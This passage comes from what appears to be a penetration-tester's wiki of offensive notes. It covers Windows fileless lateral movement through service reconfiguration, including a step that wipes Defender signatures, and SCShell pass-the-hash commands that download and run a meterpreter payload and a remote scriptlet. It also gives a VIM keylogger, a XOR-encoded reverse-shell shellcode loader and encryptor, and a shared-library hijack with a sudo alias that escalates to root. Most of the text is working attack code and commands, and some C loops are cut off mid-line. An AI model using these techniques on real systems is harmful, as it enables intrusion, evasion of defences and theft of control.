        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
